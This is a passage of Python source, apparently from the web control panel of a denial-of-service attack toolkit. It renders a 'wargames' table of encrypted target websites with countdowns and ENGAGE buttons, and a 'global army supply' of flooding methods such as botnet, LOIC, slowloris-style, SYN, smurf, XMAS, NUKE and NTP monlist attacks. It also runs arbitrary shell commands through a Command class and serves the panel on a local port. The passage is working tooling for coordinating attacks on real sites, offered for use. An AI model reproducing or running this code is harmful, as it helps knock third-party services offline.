  4959. wargames_supply = "<u>GLOBAL ARMY SUPPLY (rounds)</u>:<br><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'>BOTNET ("+str(self.total_botnet)+"):</td><td align='center'>LOIC:</td><td align='center'>LORIS:</td><td align='center'>UFOSYN:</td><td align='center'>SPRAY:</td></tr><tr><td align='center'><input type='number' min='1' max='99999' required id='supply_botnet' value='"+str(self.supply_botnet)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loic' value='"+str(self.supply_loic)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_loris' value='"+str(self.supply_loris)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_ufosyn' value='"+str(self.supply_ufosyn)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_spray' value='"+str(self.supply_spray)+"' style='text-align: center;' readonly></td></tr><tr><td align='center'>SMURF:</td><td align='center'>XMAS:</td><td align='center'>NUKE:</td><td align='center'>TACHYON:</td><td align='center'>MONLIST:</td></tr><tr><td align='center'><input type='number' min='0' max='99999' required id='supply_smurf' value='"+str(self.supply_smurf)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_xmas' value='"+str(self.supply_xmas)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_nuke' value='"+str(self.supply_nuke)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_tachyon' value='"+str(self.supply_tachyon)+"' style='text-align: center;' readonly></td><td align='center'><input type='number' min='0' max='99999' required id='supply_monlist' value='"+str(self.supply_monlist)+"' style='text-align: center;' readonly></td><td align='center'><button id='supply_edit' title='Edit global army supply...' value='EDIT' onclick=EditSupply()>EDIT</button></td></tr></table><br><br>"
  4960. else:
  4961. wargames_autopanel = ""
  4962. wargames_supply = ""
  4963. wargames_table = wargames_autopanel + wargames_supply +"<table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_creation' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('creation','"+str(wargames_deckey)+"');>CREATION:</a></td><td align='center'><a id='filter_target' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('target','"+str(wargames_deckey)+"')>TARGET:</a></td><td align='center'><a id='filter_estimated' style='color:red;text-decoration:underline red;' onclick=javascript:JobFilter('estimated','"+str(wargames_deckey)+"')>DATE:</a></td><td align='center'><u>ETA:</u></td><td align='center'><u>ACTION:</u></td><td align='center'><u>STATUS:</u></td></tr>"
  4964. f = open("/tmp/out", "w")
  4965. self.list_wargames_rev = reversed(self.list_wargames) # order by DESC
  4966. wargames_id = 1
  4967. for m in self.list_wargames_rev: # list = creation, target, estimated
  4968. if wargames_msg_sep in m:
  4969. m = m.split(wargames_msg_sep)
  4970. wargames_creation = m[0] # creation date
  4971. self.decrypt(wargames_deckey, wargames_creation)
  4972. if self.decryptedtext:
  4973. wargames_creation = self.decryptedtext
  4974. else:
  4975. wargames_creation = nodec_text
  4976. self.decryptedtext = "" # clean decryptedtext buffer
  4977. wargames_target = m[1] # target
  4978. wargames_target_joined = wargames_target
  4979. self.decrypt(wargames_deckey, wargames_target)
  4980. if self.decryptedtext:
  4981. wargames_target = self.decryptedtext
  4982. if wargames_target.startswith("www."):
  4983. wargames_target = wargames_target.replace("www.","")
  4984. else:
  4985. wargames_target = nodec_text
  4986. self.decryptedtext = "" # clean decryptedtext buffer
  4987. wargames_estimated = m[2] # estimated time
  4988. self.decrypt(wargames_deckey, wargames_estimated)
  4989. if self.decryptedtext:
  4990. wargames_estimated = self.decryptedtext
  4991. wargames_join_flag = True
  4992. else:
  4993. wargames_estimated = nodec_text
  4994. self.decryptedtext = "" # clean decryptedtext buffer
  4995. else:
  4996. wargames_target = "KEY?"
  4997. now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4998. now = strptime(now, "%d-%m-%Y %H:%M:%S")
  4999. try:
  5000. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  5001. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  5002. except: # discarding errors also on panel
  5003. wargames_creation = now
  5004. wargames_estimated = now
  5005. if wargames_target == "KEY?": # allow to discard unencrypted wargames
  5006. wargames_creation = now
  5007. wargames_estimated = now
  5008. if (now >= wargames_estimated) == False: # change flag color when time is out
  5009. time_now = time.mktime(now)
  5010. time_estimated = time.mktime(wargames_estimated)
  5011. wargames_eta = (time_estimated - time_now)
  5012. hours, rem = divmod(wargames_eta, 3600)
  5013. minutes, seconds = divmod(rem, 60)
  5014. if "!!!" in wargames_target_joined:
  5015. status = "JOINED!"
  5016. wargames_status = "<font color='cyan'>"+status+"</font>"
  5017. if wargames_join_flag == True:
  5018. wargames_join = "<button id="+str(wargames_id)+" title='Cancel this battle...' onclick=JobCancel('"+str(wargames_id)+"')>CANCEL</button>"
  5019. else:
  5020. wargames_join = "KEY?" # present but with a different crypto-key
  5021. wargames_eta = "<font color='cyan'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5022. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5023. time_flag = "<font color='cyan'>"+str(wargames_estimated)+"</font>"
  5024. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5025. creation_flag = "<font color='cyan'>"+str(wargames_creation)+"</font>"
  5026. else:
  5027. status = "-ONGOING-"
  5028. wargames_status = "<font color='orange'>"+status+"</font>"
  5029. if wargames_join_flag == True:
  5030. wargames_join = "<button id="+str(wargames_id)+" title='Join this battle...' onclick=JobAdd('"+str(wargames_id)+"')>ENGAGE!</button>"
  5031. else:
  5032. wargames_join = "KEY?" # present but with a different crypto-key
  5033. wargames_eta = "<font color='orange'>{:0>2}h {:0>2}m {:02}s</font>".format(int(hours),int(minutes),int(seconds))
  5034. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5035. time_flag = "<font color='orange'>"+str(wargames_estimated)+"</font>"
  5036. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5037. creation_flag = "<font color='orange'>"+str(wargames_creation)+"</font>"
  5038. else:
  5039. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  5040. time_flag = "<font color='red'><s>"+str(wargames_estimated)+"</s></font>"
  5041. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  5042. creation_flag = "<font color='red'>"+str(wargames_creation)+"</font>"
  5043. wargames_join = "<button id="+str(wargames_id)+" title='Remove this battle...' onclick=JobRemove('"+str(wargames_id)+"')>REMOVE</button>"
  5044. wargames_eta = "<font color='red'>OUT-OF-TIME</font>"
  5045. status = "-CLOSED-"
  5046. wargames_status = "<font color='red'>"+status+"</font>"
  5047. wargames_table += "<tr><td align='center'>"+creation_flag+"</td><td align='center'><a href='http://"+str(wargames_target)+"' target='_blank'>"+str(wargames_target)+"</a></td><td align='center'>"+time_flag+"</td><td align='center'>"+wargames_eta+"</td><td align='center'>"+wargames_join+"</td><td align='center'>"+wargames_status+"</td></tr>"
  5048. wargames_id = wargames_id + 1
  5049. wargames_table += "</table><br>"
  5050. f.write(wargames_table)
  5051. f.write(end_mark)
  5052. f.close()
  5053. if page == "/cmd_decrypt_wargames_update":
  5054. if not os.path.exists('/tmp/out'):
  5055. open('/tmp/out', 'w').close()
  5056. with open('/tmp/out', 'r') as f:
  5057. self.pages["/cmd_decrypt_wargames_update"] = "<pre>"+f.read()+"<pre>"
  5058. if page == "/blackholes":
  5059. self.pages["/blackholes"] = self.html_blackholes()
  5060. if page == "/requests":
  5061. if pGet=={}:
  5062. self.pages["/requests"] = self.html_requests()
  5063. else:
  5064. self.save_cfg(pGet)
  5065. self.pages["/requests"] = self.html_request_submit()
  5066. if page == "/abduction":
  5067. self.pages["/abduction"] = self.html_abduction()
  5068. if page == "/stats":
  5069. self.pages["/stats"] = self.html_stats()
  5070. if page == "/wormhole":
  5071. self.pages["/wormhole"] = self.pages["/header"] + "<iframe height='100%' width='100%' src='https://webchat.freenode.net'>"
  5072. ctype = "text/html"
  5073. if page.find(".js") != -1:
  5074. ctype = "application/javascript"
  5075. elif page.find(".txt") != -1:
  5076. ctype = "text/plain"
  5077. elif page.find(".ico") != -1:
  5078. ctype = "image/x-icon"
  5079. elif page.find(".png") != -1:
  5080. ctype = "image/png"
  5081. elif page.find(".css") != -1:
  5082. ctype = "text/css"
  5083. if page in self.pages:
  5084. return dict(run=runcmd, code="200 OK", html=self.pages[page], ctype=ctype)
  5085. return dict(run=runcmd, code="404 Error", html="404 Error<br><br>Page not found...", ctype=ctype)
  5086. class Command(object):
  5087. def __init__(self, cmd):
  5088. self.cmd = cmd
  5089. self.process = None
  5090. def run(self, timeout):
  5091. def target():
  5092. self.process = subprocess.Popen(self.cmd, shell=True)
  5093. thread = threading.Thread(target=target)
  5094. thread.start()
  5095. thread.join(timeout)
  5096. if thread.is_alive():
  5097. self.process.terminate()
  5098. thread.join()
  5099. if __name__ == "__main__":
  5100. webbrowser.open('http://127.0.0.1:9999', new=1)
  5101. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  5102. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  5103. tcpsock.bind((host, port))
  5104. while True:
  5105. tcpsock.listen(4)
  5106. (clientsock, (ip, c_port)) = tcpsock.accept()
  5107. newthread = ClientThread(ip, c_port, clientsock)
  5108. newthread.start()